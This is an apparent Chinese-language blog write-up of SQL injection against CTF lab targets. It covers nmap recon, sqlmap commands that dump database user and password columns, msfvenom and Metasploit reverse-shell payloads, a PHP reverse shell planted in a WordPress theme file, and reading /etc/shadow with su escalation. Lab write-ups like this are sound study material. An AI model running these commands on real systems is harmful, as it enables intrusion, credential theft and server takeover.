sql注入(IP命令行)

Dunm1e Lv3

SQL注入

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

1.信息探测

1
2
3
nmap -p- -T4 IP # 探测端口
namp -T4 -A -v IP # 探测全部信息
nikto -host http://ip:port

2.深入挖掘

打开敏感页面 比如什么登录页面 /admin/login.php

尝试弱口令登录,失败

3.漏洞扫描

web漏洞扫描器 owasp-zap
OWASP ZAP攻击代理服务器是世界上最受欢迎的免费安全工具之一。ZAP可以帮助您在开发和测试应用程序过程中,自动发现 Web应用程序中的安全漏洞。另外,它也是一款提供给具备丰富经验的渗透测试人员进行人工安全测试的优秀工具。

输入ip进行attack,然后软件开始爬虫并扫描

4.漏洞利用

4.1 发现高危漏洞sql注入

对扫描结果进行分析,发现高危漏洞SQL注入

利用sqlmap利用SQL注入漏洞

1
2
3
4
5
6
7
sqlmap -u url # 查看是否具有sql注入
sqlmap -u url --dbs # 查看数据库名
sqlmap -u url -D "数据库名" --tables # 查看对应数据库中的数据表
sqlmap -u url -D "数据库名" -T "表名" --columns # 查看对应字段/列
sqlmap -u url -D "数据库名" -T "表名" -C "列名" --dump # 查看对应字段的值
sqlmap -u url -os -shell #尝试直接获取shell
# 注:所有的名称可以用 "," 隔开以获取多个值

查找到对应的用户名和密码,登录系统

上传shell反弹权限

生成反弹shell

1
msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP lport=未使用的端口 -f raw

将生成的shell保存到php文件中

监听

1
2
3
4
5
6
msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 攻击机IP地址
set lport 4444
run

然后上传webshell,实现反弹,获取flag

4.2 未发现高危漏洞

但是通过前面的信息探测发现了登陆界面 如 /phpmyadmin /login.php 等

然后尝试弱口令登录,无法登录,想到利用post sql注入

4.2.1 抓取数据包

利用bp抓取网页数据包,注意设置浏览器代理,然后将抓取的数据包保存到request.raw文件里

1
2
3
4
5
6
7
sqlmap -r request.raw --level 5 --risk 3 --dbs --dbms mysql --batch
# -r参数用于指定 SQLMap 工具所使用的 HTTP 请求文件
# --level 5 表示最高级别的攻击。
# --risk 3 表示非常高的风险。
# --dbs: 这个选项表示 SQLMap 将尝试获取目标数据库的信息。
# --dbms mysql: 这个选项指定了目标数据库管理系统的类型,这里是 MySQL。
# --batch: 这个选项指定了在批处理模式下运行 SQLMap,即不需要用户交互。

4.2.2 进行sql注入

1
sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 --tables --dbms mysql --batch
1
sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 -T users --columns --dbms mysql --batch
1
sqlmap -r request.raw --level 5 --risk 3 -D wordpress8080 -T users -C username,password --dbms mysql --batch

得到用户名和密码

因为前面信息扫描出/wordpress 目录,所以可以确定网站利用wordpress的CMS,然后wordpress的默认登录后台页面为

/wordpress/wp-login.php

输入用户名和密码,登陆后台。

4.2.3 反弹shell

然后也是上传webshell获得控制权

利用自带的反弹shell

1
cp php-reverse-shell.php /root/Desktop/

然后将复制的shell进行修改,修改端口和ip为==攻击机ip==

启动监听

1
nc -nlvp port #对应的端口4444

访问上传webshell的地址(上传到404页面)

==http://靶场IP:port/目录/wp-content/themes/主题名/404.php==

成功反弹

然后优化终端

1
python -c "import pty;pty.spawn('/bin/bash')"

4.2.4 提权

查看敏感文件

1
2
3
cat /etc/shadow 

cat /etc/passwd

利用su提权

1
su -root

发现空密码无法提权,然后尝试前面获取的密码(和后台密码相同)

提权成功

然后到/root目录获取flag

5. X-Forward-For sql注入

5.1 漏洞扫描

==漏洞扫描器 AVWS==

扫描出X-Forwarded-For sql注入

5.2 漏洞利用

利用sqlmap

1
sqlmap -u "http://靶场IP" --header="X-Forwarded-For:*" --dbs --batch
1
sqlmap -u "http://靶场IP" --header="X-Forwarded-For:*" -D "photoblog" --tables --batch
1
sqlmap -u "http://靶场IP" --header="X-Forwarded-For:*" -D "photoblog" -T "users" --columns --batch
1
sqlmap -u "http://靶场IP" --header="X-Forwarded-For:*" -D "photoblog" -T "users" -C "login,password" --dump --batch

成功获取用户名和密码,登录到后台

  • Title: sql注入(IP命令行)
  • Author: Dunm1e
  • Created at : 2024-09-11 18:55:25
  • Updated at : 2024-09-12 08:18:19
  • Link: https://dunm1e.github.io/2024/09/11/3bc19a255208/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments